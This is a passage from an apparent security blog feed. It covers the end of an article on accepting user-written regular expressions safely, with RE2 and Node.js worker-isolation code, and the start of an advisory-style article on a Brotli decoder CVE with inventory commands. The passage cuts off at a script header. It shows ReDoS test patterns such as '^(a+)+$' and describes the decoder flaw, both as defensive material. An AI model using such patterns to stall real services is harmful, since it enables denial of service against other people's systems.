          <td>Use a linear-time engine, cap pattern size, isolate matching</td>
      </tr>
      <tr>
          <td>User text is spliced into your pattern</td>
          <td>Partly the attacker</td>
          <td>Escape it (<code>re.escape</code>, or an escape helper in JavaScript) or use a plain substring search</td>
      </tr>
  </tbody>
</table>
<p>This article is about the second row. The third row is the most common way the second row happens by accident: someone builds <code>new RegExp(userInput)</code> to implement a &ldquo;contains&rdquo; search that never needed a regex.</p>
<h2 id="engines-that-are-built-for-untrusted-patterns">Engines that are built for untrusted patterns</h2>
<p><strong>RE2.</strong> Google&rsquo;s <a href="https://github.com/google/re2">RE2 README</a> states the design goal directly: it was built &ldquo;to handle regular expressions from untrusted users without risk&rdquo;, and &ldquo;one of its primary guarantees is that the match time is linear in the length of the input string&rdquo;. It also says its parser, compiler and execution engines &ldquo;limit their memory usage by working within a configurable budget&rdquo;. The price is features: RE2 &ldquo;does not support constructs for which only backtracking solutions are known to exist&rdquo;. That means no backreferences and no look-around.</p>
<p><strong>Go&rsquo;s <code>regexp</code>.</strong> The package uses RE2 syntax, and its source documents that the implementation &ldquo;is guaranteed to run in time linear in the size of the input&rdquo;.</p>
<p><strong>Rust&rsquo;s <code>regex</code> crate.</strong> Its <a href="https://github.com/rust-lang/regex">README</a> says &ldquo;all regex searches in this crate have worst case <code>O(m * n)</code> time complexity, where <code>m</code> is proportional to the size of the regex and <code>n</code> is proportional to the size of the string being searched&rdquo;. Its documentation says the crate &ldquo;also, to a certain extent, supports untrusted patterns&rdquo;, mainly &ldquo;by limiting their size by default&rdquo;, which you can tune with <code>RegexBuilder::size_limit</code>.</p>
<p>Note the <code>m</code> in that complexity. Linear in the input is not the same as free: a huge pattern still costs more to compile and run. That is why a pattern length cap belongs in front of every engine, safe or not.</p>
<h2 id="engines-that-say-they-are-not">Engines that say they are not</h2>
<p><strong>.NET.</strong> Microsoft&rsquo;s <a href="https://learn.microsoft.com/en-us/dotnet/standard/base-types/best-practices-regex">regex best-practices page</a> is unusually direct:</p>
<blockquote>
<p>The .NET regular expression engine does not offer protection against untrusted <em>patterns</em>, and applications should not create regular expression patterns from untrusted user-provided values.</p>
</blockquote>
<p>It adds that time-out values and <code>RegexOptions.NonBacktracking</code> (introduced in .NET 7, which &ldquo;guarantees linear-time processing in the length of the input&rdquo;) &ldquo;help protect against accidental performance problems in developer-authored patterns. They are not intended as a security boundary against malicious patterns.&rdquo; Use them for your own patterns, and do not treat them as permission to accept user-written ones.</p>
<p><strong>Ruby.</strong> Ruby 3.2 added two ReDoS mitigations, described in the <a href="https://www.ruby-lang.org/en/news/2022/12/25/ruby-3-2-0-released/">3.2.0 release notes</a>. A memoization-based matcher completes &ldquo;most Regexp matching (about 90% in our experiments)&rdquo; in linear time, at the cost of memory &ldquo;proportional to the input length&rdquo;. Because that optimization &ldquo;cannot be applied to some kind of regular expressions, such as those including advanced features (e.g., back-references or look-around)&rdquo;, Ruby also added <code>Regexp.timeout</code>, a global setting, and a per-regex <code>timeout:</code> keyword on <code>Regexp.new</code>. Both help. Neither turns Ruby&rsquo;s engine into one designed for hostile patterns.</p>
<p><strong>Python and JavaScript.</strong> Python&rsquo;s <code>re</code> documentation describes no match timeout. Python 3.11 added possessive quantifiers and atomic groups <code>(?&gt;...)</code>, which help you write safer patterns but do nothing about patterns you did not write. JavaScript&rsquo;s <code>RegExp</code> has no timeout either. V8 has shipped an <a href="https://v8.dev/blog/non-backtracking-regexp">experimental non-backtracking engine</a> since V8 8.8, behind <code>--enable-experimental-regexp-engine</code>, which adds a non-standard <code>l</code> (&ldquo;linear&rdquo;) flag. V8&rsquo;s own post calls it experimental &ldquo;because Irregexp is orders of magnitude faster than the new engine on most common patterns&rdquo;. With the flag on, <code>/^(a+)+$/l</code> failed on a 50,000-character evil input in about 3 ms in our Node.js 22.23 test. Running production on an experimental V8 flag is a decision to make deliberately, not a default.</p>
<p>Accepting patterns also exposes you to bugs in the regex parser and compiler themselves, not just slow matching. Our write-up of <a href="/posts/gitlab-cve-2026-97229-ci-regex-rce-patch-and-hunt/">GitLab CVE-2026-97229</a> covers a remote code execution flaw in how GitLab compiled regular expressions from CI/CD configuration. Using a small, heavily fuzzed engine reduces that risk too.</p>
<h2 id="pattern-1-python-with-re2">Pattern 1: Python with RE2</h2>
<p>This uses the <code>google-re2</code> package (we tested 1.1.20251105 with Python 3.13). It caps pattern length, compiles with RE2, and turns unsupported syntax into a clear error your API can return as a 400.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> re2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MAX_PATTERN <span style="color:#f92672">=</span> <span style="color:#ae81ff">256</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">compile_user_pattern</span>(pattern: str):
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;&#34;&#34;Compile a user-supplied pattern with RE2 or raise ValueError.&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> len(pattern) <span style="color:#f92672">&gt;</span> MAX_PATTERN:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">&#34;pattern too long&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> re2<span style="color:#f92672">.</span>compile(pattern)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> re2<span style="color:#f92672">.</span>error <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;unsupported or invalid pattern: </span><span style="color:#e6db74">{</span>e<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) <span style="color:#f92672">from</span> None
</span></span></code></pre></div><p>What happened when we ran it:</p>
<table>
  <thead>
      <tr>
          <th>Input</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>^(a+)+$</code> searched against 1,000,000 <code>a</code> characters plus <code>!</code></td>
          <td>No match, returned in about 2 ms</td>
      </tr>
      <tr>
          <td><code>(\w+)\s\1</code> (backreference)</td>
          <td>Rejected: <code>invalid escape sequence: \1</code></td>
      </tr>
      <tr>
          <td><code>^(?=.*\d).+$</code> (look-ahead)</td>
          <td>Rejected: <code>invalid perl operator: (?=</code></td>
      </tr>
      <tr>
          <td>300-character pattern</td>
          <td>Rejected by the length cap</td>
      </tr>
  </tbody>
</table>
<p>The same evil pattern that took half a second on 24 characters in <code>re</code> finished a million characters in milliseconds. Two practical notes from the test: RE2 logs parse errors to stderr through its own logging, so expect noise in your logs when users submit bad patterns. And do not catch the error and retry with <code>re</code>. That fallback reopens the exact hole you closed.</p>
<h2 id="pattern-2-nodejs-with-a-killable-worker">Pattern 2: Node.js with a killable worker</h2>
<p>If you cannot add a native RE2 binding, isolate the backtracking engine. A worker thread can be terminated mid-match, which a <code>setTimeout</code> on the main thread cannot do: a regex blocks the event loop until it returns. This is tested on Node.js 22.23.4:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#75715e">// safe_match.mjs: run an untrusted pattern in a worker and kill it after a deadline.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">import</span> { <span style="color:#a6e22e">Worker</span> } <span style="color:#a6e22e">from</span> <span style="color:#e6db74">&#39;node:worker_threads&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">WORKER_SRC</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  const { parentPort, workerData } = require(&#39;node:worker_threads&#39;);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  const { pattern, flags, input } = workerData;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  try {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    parentPort.postMessage({ ok: true, match: new RegExp(pattern, flags).test(input) });
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  } catch (e) {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    parentPort.postMessage({ ok: false, error: e.message });
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  }
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">export</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">safeTest</span>(<span style="color:#a6e22e">pattern</span>, <span style="color:#a6e22e">input</span>, { <span style="color:#a6e22e">flags</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>, <span style="color:#a6e22e">timeoutMs</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">100</span>, <span style="color:#a6e22e">maxPattern</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">256</span> } <span style="color:#f92672">=</span> {}) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pattern</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">maxPattern</span>) <span style="color:#66d9ef">return</span> Promise.<span style="color:#a6e22e">resolve</span>({ <span style="color:#a6e22e">ok</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;pattern too long&#39;</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#e6db74">/^[gimsuy]*$/</span>.<span style="color:#a6e22e">test</span>(<span style="color:#a6e22e">flags</span>)) <span style="color:#66d9ef">return</span> Promise.<span style="color:#a6e22e">resolve</span>({ <span style="color:#a6e22e">ok</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;bad flags&#39;</span> });
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> Promise((<span style="color:#a6e22e">resolve</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">w</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Worker</span>(<span style="color:#a6e22e">WORKER_SRC</span>, {
</span></span><span style="display:flex;"><span>      eval<span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">workerData</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">pattern</span>, <span style="color:#a6e22e">flags</span>, <span style="color:#a6e22e">input</span> },
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">resourceLimits</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">maxOldGenerationSizeMb</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">32</span> },
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">timer</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">setTimeout</span>(() =&gt; { <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">terminate</span>(); <span style="color:#a6e22e">resolve</span>({ <span style="color:#a6e22e">ok</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;timeout&#39;</span> }); }, <span style="color:#a6e22e">timeoutMs</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">once</span>(<span style="color:#e6db74">&#39;message&#39;</span>, (<span style="color:#a6e22e">m</span>) =&gt; { <span style="color:#a6e22e">clearTimeout</span>(<span style="color:#a6e22e">timer</span>); <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">terminate</span>(); <span style="color:#a6e22e">resolve</span>(<span style="color:#a6e22e">m</span>); });
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">once</span>(<span style="color:#e6db74">&#39;error&#39;</span>, (<span style="color:#a6e22e">e</span>) =&gt; { <span style="color:#a6e22e">clearTimeout</span>(<span style="color:#a6e22e">timer</span>); <span style="color:#a6e22e">resolve</span>({ <span style="color:#a6e22e">ok</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">message</span> }); });
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Results:</p>
<ul>
<li><code>safeTest('^(a+)+$', 'a'.repeat(40) + '!')</code> returned <code>{ ok: false, error: 'timeout' }</code> after 103 ms. On the main thread that match would not finish.</li>
<li><code>safeTest('^[a-z]+@example\\.com$', 'alice@example.com')</code> returned <code>{ ok: true, match: true }</code>.</li>
<li><code>safeTest('(unclosed', 'x')</code> returned the syntax error instead of throwing.</li>
</ul>
<p>The cost: spawning a worker per call averaged 25.4 ms in our sandbox, over 20 calls. That is fine for saving a rule. It is too slow for matching every log line. For high-volume matching, keep a small pool of long-lived workers and replace any worker you have to terminate, or move to an RE2 binding. This is a containment pattern, not a fix: an attacker can still make every match hit the timeout, so rate-limit pattern submissions and count timeouts per user.</p>
<h2 id="a-checklist-for-features-that-accept-patterns">A checklist for features that accept patterns</h2>
<ol>
<li><strong>Ask whether you need regex at all.</strong> Substring, prefix or glob matching covers most &ldquo;search&rdquo; features and has no ReDoS surface.</li>
<li><strong>Pick a linear-time engine</strong> (RE2 or a binding, Go <code>regexp</code>, Rust <code>regex</code>) for any pattern a user can write, including admins and API clients.</li>
<li><strong>Cap pattern length</strong> and, if you can, the number of patterns per user or rule set.</li>
<li><strong>Reject unsupported features with a clear message.</strong> Never fall back to a backtracking engine.</li>
<li><strong>Cap input length</strong> for each match. Linear time on a 2 GB input is still a lot of time. Our post on <a href="/posts/nodejs-decompression-bomb-zlib-limits/">decompression bombs in Node.js</a> covers the related problem of inputs that grow after you accept them.</li>
<li><strong>If you must backtrack, isolate it.</strong> Use a worker or process you can kill, a hard deadline, and a memory limit. Ruby&rsquo;s <code>Regexp.timeout</code> and .NET&rsquo;s <code>matchTimeout</code> are useful extra layers.</li>
<li><strong>Watch for it.</strong> Log match timeouts and compile failures by user, and alert on spikes.</li>
</ol>
<h2 id="limits-of-this-article">Limits of this article</h2>
<ul>
<li>Timings are from a shared cloud sandbox and will differ on your hardware. The growth rate, not the absolute numbers, is the point.</li>
<li>We did not test .NET or Ruby directly, and we do not cover Java, PCRE or other engines here. Statements about them come from their documentation, quoted above.</li>
<li>We tested one Python RE2 binding (<code>google-re2</code>). Node.js RE2 bindings exist, but we did not test one for this article.</li>
<li>A linear-time engine removes catastrophic backtracking. It does not remove the need for size limits, rate limits or patching the engine itself.</li>
</ul>
<h2 id="sources-and-verification">Sources and verification</h2>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Backtracking times for <code>^(a+)+$</code> in Python 3.13.18 and Node.js 22.23.4; RE2 and worker results</td>
          <td>Our tests, code above</td>
          <td>Verified (our sandbox)</td>
      </tr>
      <tr>
          <td>&ldquo;Evil&rdquo; regex conditions and examples; attacker can inject an evil regex</td>
          <td><a href="https://wiki.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS">OWASP wiki: ReDoS</a></td>
          <td>Verified (archived wiki page)</td>
      </tr>
      <tr>
          <td>RE2: built for untrusted users, linear in input, memory budget, no backtracking-only constructs</td>
          <td><a href="https://github.com/google/re2">google/re2 README</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Go regexp: linear in the size of the input</td>
          <td><a href="https://github.com/golang/go/blob/master/src/regexp/regexp.go">Go source, regexp.go</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Rust regex: worst case O(m * n); untrusted patterns handled mainly by size limit</td>
          <td><a href="https://github.com/rust-lang/regex">rust-lang/regex README and docs</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>.NET: no protection against untrusted patterns; timeouts and NonBacktracking not a security boundary</td>
          <td><a href="https://learn.microsoft.com/en-us/dotnet/standard/base-types/best-practices-regex">Microsoft Learn: regex best practices</a></td>
          <td>Verified (docs source on GitHub)</td>
      </tr>
      <tr>
          <td>Ruby 3.2 memoization (about 90% linear) and Regexp.timeout</td>
          <td><a href="https://www.ruby-lang.org/en/news/2022/12/25/ruby-3-2-0-released/">Ruby 3.2.0 release notes</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python 3.11 possessive quantifiers and atomic groups; no timeout documented</td>
          <td><a href="https://docs.python.org/3/library/re.html">Python re documentation</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>V8 experimental non-backtracking engine, <code>l</code> flag, slower than Irregexp</td>
          <td><a href="https://v8.dev/blog/non-backtracking-regexp">V8 blog</a></td>
          <td>Verified</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>Brotli CVE-2026-111497: Find and Patch Every Copy</title><link>https://firewallsync.com/posts/brotli-cve-2026-111497-find-and-patch-every-copy/</link><guid>https://firewallsync.com/posts/brotli-cve-2026-111497-find-and-patch-every-copy/</guid><pubDate>Wed, 28 Oct 2026 04:40:00 +0000</pubDate><dc:creator>John Marshall</dc:creator><category>Security Operations</category><description>CVE-2026-111497 is an out-of-bounds write in Google's Brotli decoder, now on CISA's KEV list. It ships inside Node.js, Python packages, Go modules, Envoy and more, and patched builds can still report the old Brotli version. Here is how to find every copy and check it for the fix.</description><enclosure url="https://firewallsync.com/posts/brotli-cve-2026-111497-find-and-patch-every-copy/cover_hu14059145143623990521.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/brotli-cve-2026-111497-find-and-patch-every-copy/cover_hu14059145143623990521.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/brotli-cve-2026-111497-find-and-patch-every-copy/cover_hu14059145143623990521.jpg" alt="Round straw bales stacked in tight columns, each bound with thin blue netting" width="1200" height="630"></p><p>CVE-2026-111497 is a memory-corruption bug in Google&rsquo;s Brotli decompressor. Upstream versions 1.0.3 through 1.2.0 are affected, and 1.0.10, 1.1.1 and 1.2.1 fix it. CISA added it to the <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities catalog</a> on October 27, 2026, with a federal remediation date of November 10. The hard part is not the patch. Brotli is compiled into Node.js, Python wheels, Go modules, proxies and service meshes, and several patched builds still report the old version number. Here is where it hides, what &ldquo;fixed&rdquo; looks like for each, and a tested way to check code you vendor yourself.</p>
<h2 id="are-you-affected">Are you affected?</h2>
<p>You are exposed if a vulnerable Brotli decoder processes data an attacker can supply. The <a href="https://www.cve.org/CVERecord?id=CVE-2026-111497">CVE record</a> says an attacker with &ldquo;a crafted Brotli-compressed stream&rdquo; can &ldquo;corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code&rdquo;. Google&rsquo;s CNA scored it CVSS 4.0 9.2 (Critical). The Node.js project rates its copy High.</p>
<table>
  <thead>
      <tr>
          <th>Where Brotli lives</th>
          <th>Affected</th>
          <th>Fixed in</th>
          <th>How to check</th>
          <th>Source</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Google Brotli / libbrotli</td>
          <td>1.0.3 to 1.2.0</td>
          <td>1.0.10, 1.1.1, 1.2.1</td>
          <td>Package version, or the code check below for vendored copies</td>
          <td>CVE record, upstream CHANGELOG</td>
      </tr>
      <tr>
          <td>Node.js 22, 24, 26</td>
          <td>Earlier builds on those lines</td>
          <td>22.23.4, 24.22.1, 26.12.1</td>
          <td><code>node -v</code> (not <code>process.versions.brotli</code>)</td>
          <td>Node.js advisory</td>
      </tr>
      <tr>
          <td>End-of-life Node.js</td>
          <td>Assume affected</td>
          <td>None: upgrade</td>
          <td><code>node -v</code></td>
          <td>Node.js advisory</td>
      </tr>
      <tr>
          <td>Python <code>Brotli</code></td>
          <td>1.0.3 to 1.2.0</td>
          <td>1.2.1</td>
          <td><code>pip show Brotli</code></td>
          <td>Aikido; PyPI release date</td>
      </tr>
      <tr>
          <td>Python <code>brotlicffi</code></td>
          <td>1.2.0.x</td>
          <td>1.2.1.0</td>
          <td><code>pip show brotlicffi</code></td>
          <td>Aikido; PyPI release date</td>
      </tr>
      <tr>
          <td>Go <code>github.com/andybalholm/brotli</code></td>
          <td>Before v1.2.7</td>
          <td>v1.2.7</td>
          <td><code>go list -m github.com/andybalholm/brotli</code></td>
          <td>CVE record reference, source diff</td>
      </tr>
      <tr>
          <td>Envoy</td>
          <td>1.36.11, 1.37.7, 1.38.5, 1.39.2</td>
          <td>1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0</td>
          <td><code>envoy --version</code></td>
          <td>Wiz (qualified); we checked 1.39.2 against 1.39.3</td>
      </tr>
      <tr>
          <td>Istio</td>
          <td>1.29.0 to 1.29.8, 1.30.0 to 1.30.5, 1.31.0 to 1.31.1</td>
          <td>1.29.9, 1.30.6, 1.31.2</td>
          <td><code>istioctl version</code></td>
          <td>Wiz (qualified)</td>
      </tr>
      <tr>
          <td>Bun</td>
          <td>1.0.21 to 1.4.3</td>
          <td>1.4.4</td>
          <td><code>bun --version</code></td>
          <td>Wiz (qualified)</td>
      </tr>
      <tr>
          <td>Distro packages (libbrotli1, brotli)</td>
          <td>Depends on backport</td>
          <td>Distro security update</td>
          <td>Your distro&rsquo;s security tracker</td>
          <td>—</td>
      </tr>
  </tbody>
</table>
<p>The Envoy, Istio and Bun ranges come from <a href="https://www.wiz.io/blog/cve-2026-111497-brotli-rce-node-js">Wiz&rsquo;s write-up</a>, not from those projects&rsquo; advisories. We did not read those advisories directly. For Envoy we checked the source instead: <code>bazel/repository_locations.bzl</code> pins Brotli <code>1.2.0</code> at tag v1.39.2, while v1.39.3 pins a Brotli commit whose <code>decode.c</code> contains the fix.</p>
<p>Linux distributions usually backport fixes and keep the upstream version. Our Ubuntu 24.04 sandbox, for example, has <code>libbrotli1 1.1.0-2ubuntu0.1</code>. That string alone does not tell you whether the fix is in. Use your distribution&rsquo;s security tracker for the CVE.</p>
<h3 id="why-the-version-string-can-mislead-you">Why the version string can mislead you</h3>
<p>Node.js patched its bundled Brotli in place. On the fixed Node.js 22.23.4 the reported library version is still the old one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ node -v
</span></span><span style="display:flex;"><span>v22.23.4
</span></span><span style="display:flex;"><span>$ node -p process.versions.brotli
</span></span><span style="display:flex;"><span>1.1.0
</span></span></code></pre></div><p>We ran that in our sandbox. The source tree agrees: <code>deps/brotli/c/common/version.h</code> declares 1.1.0 at both v22.23.3 and v22.23.4, and 1.2.0 at v24.22.1 and v26.12.1, but only the fixed tags contain the patched decoder (v22.23.3 and v24.22.0 do not). A scanner that flags <code>process.versions.brotli &lt; 1.2.1</code> will raise false positives on fixed Node.js. A scanner that trusts a vendored <code>version.h</code> can miss real exposure the other way round. For Node.js, use the Node.js version. For anything else you vendor, check the code.</p>
<h2 id="what-the-bug-is">What the bug is</h2>
<p>The <a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases">Node.js advisory</a> gives the clearest description: &ldquo;An invalid block switch was reported as a temporary need for more input instead of a permanent format error, so the streaming decoder kept appending input bytes to an eight-byte internal buffer.&rdquo;</p>
<p>The upstream diff between v1.2.0 and v1.2.1 of <code>c/dec/decode.c</code> shows exactly that. <code>DecodeBlockTypeAndLength()</code> used to return a plain boolean, so &ldquo;invalid stream&rdquo; and &ldquo;need more input&rdquo; looked the same, and the non-safe callers ignored the result altogether (<code>static void DecodeLiteralBlockSwitch(...)</code>). After the fix the function returns a <code>BrotliDecoderErrorCode</code>, emits <code>BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH</code> for the invalid case, and every caller checks it through a new <code>BROTLI_SAFE_WITH_STATUS</code> macro. That matches the two weaknesses in the CVE record: CWE-252 (unchecked return value) and CWE-787 (out-of-bounds write).</p>
<p>The flaw was found by Khai Tran and Sylvie Mayer of OpenAI Codex Security, who are credited in both the CVE record and the Node.js advisory.</p>
<h2 id="where-untrusted-brotli-reaches-your-code">Where untrusted Brotli reaches your code</h2>
<p>The flaw is in decompression, so look for places that decode data you did not produce:</p>
<ul>
<li><strong>Request bodies.</strong> Any endpoint or middleware that inflates <code>Content-Encoding: br</code> uploads.</li>
<li><strong>Outbound HTTP.</strong> HTTP clients decode Brotli responses for you. If an attacker controls or can redirect the URL (webhooks, link previews, feed fetchers, scrapers), they control the compressed bytes.</li>
<li><strong>Files and archives</strong> that contain Brotli streams.</li>
<li><strong>Proxies and meshes</strong> that decompress traffic to inspect or transform it.</li>
</ul>
<p>Two behaviours we checked, because they mean code that never mentions Brotli can still run it:</p>
<ul>
<li><strong>Node.js <code>fetch()</code> decodes Brotli it never asked for.</strong> On Node.js 22.23.4, <code>fetch()</code> sent <code>accept-encoding: gzip, deflate</code>. When our local test server replied with <code>content-encoding: br</code>, <code>fetch()</code> decompressed the body anyway. A hostile server can choose Brotli whatever the client advertises.</li>
<li><strong>Python&rsquo;s requests turns Brotli on when it is installed.</strong> urllib3&rsquo;s <code>util/request.py</code> appends <code>br</code> to its default <code>Accept-Encoding</code> when <code>brotlicffi</code> or <code>brotli</code> can be imported. With Brotli 1.2.1 installed, <code>requests.utils.default_headers()</code> returned <code>gzip, deflate, br</code> in our test. The decoding then runs in whichever Brotli package is installed.</li>
</ul>
<h2 id="what-to-do-now">What to do now</h2>
<ol>
<li><strong>Update the runtimes.</strong> Node.js to 22.23.4, 24.22.1 or 26.12.1 or later. Move off end-of-life Node.js lines: the advisory notes that &ldquo;End-of-Life versions are always affected when a security release occurs.&rdquo;</li>
<li><strong>Update language packages</strong> in every lockfile and image: <code>Brotli&gt;=1.2.1</code>, <code>brotlicffi&gt;=1.2.1.0</code>, <code>github.com/andybalholm/brotli v1.2.7</code>. Both Python fixes were published to PyPI on October 22, 2026.</li>
<li><strong>Update proxies and meshes</strong> (Envoy, Istio) and Bun to the fixed releases above. Confirm the ranges against each project&rsquo;s own advisory.</li>
<li><strong>Apply distro updates</strong> for <code>libbrotli</code>/<code>brotli</code>, then restart the long-running processes that loaded the old library.</li>
<li><strong>Rebuild container images.</strong> A fixed base image does not help a running container that was built from the old one.</li>
<li><strong>Hunt for vendored copies</strong> with the check below.</li>
</ol>
<p>If you cannot patch a service today, reduce what it decodes. As a stopgap, reject <code>Content-Encoding: br</code> request bodies at the edge for services that do not need them, and stop server-side fetchers from decoding responses from untrusted URLs. This is our editorial suggestion, not vendor guidance, and it does not replace the update.</p>
<h3 id="inventory-commands">Inventory commands</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#75715e"># Node.js: the version that matters</span>
</span></span><span style="display:flex;"><span>node -v
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Python: every environment and image</span>
</span></span><span style="display:flex;"><span>pip show Brotli brotlicffi 2&gt;/dev/null | grep -E <span style="color:#e6db74">&#39;^(Name|Version)&#39;</span>
</span></span><span style="display:flex;"><span>pipdeptree -r -p Brotli          <span style="color:#75715e"># who pulls it in</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Go modules</span>
</span></span><span style="display:flex;"><span>go list -m all | grep andybalholm/brotli
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Debian/Ubuntu and RHEL-family system libraries</span>
</span></span><span style="display:flex;"><span>dpkg -l <span style="color:#e6db74">&#39;libbrotli*&#39;</span> 2&gt;/dev/null | awk <span style="color:#e6db74">&#39;/^ii/{print $2, $3}&#39;</span>
</span></span><span style="display:flex;"><span>rpm -q brotli libbrotli 2&gt;/dev/null
</span></span></code></pre></div><p>The <code>pip</code>, <code>node</code> and <code>dpkg</code> lines were run in our sandbox. The <code>go</code>, <code>pipdeptree</code> and <code>rpm</code> lines are standard tool usage that we did not run here.</p>
<h3 id="checking-vendored-source-for-the-fix">Checking vendored source for the fix</h3>
<p>C and C++ projects often copy <code>c/dec/decode.c</code> into their tree, and Go programs carry <code>decode.go</code> in the module cache or a <code>vendor/</code> directory. This script looks for the patched function signature instead of trusting any version string:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
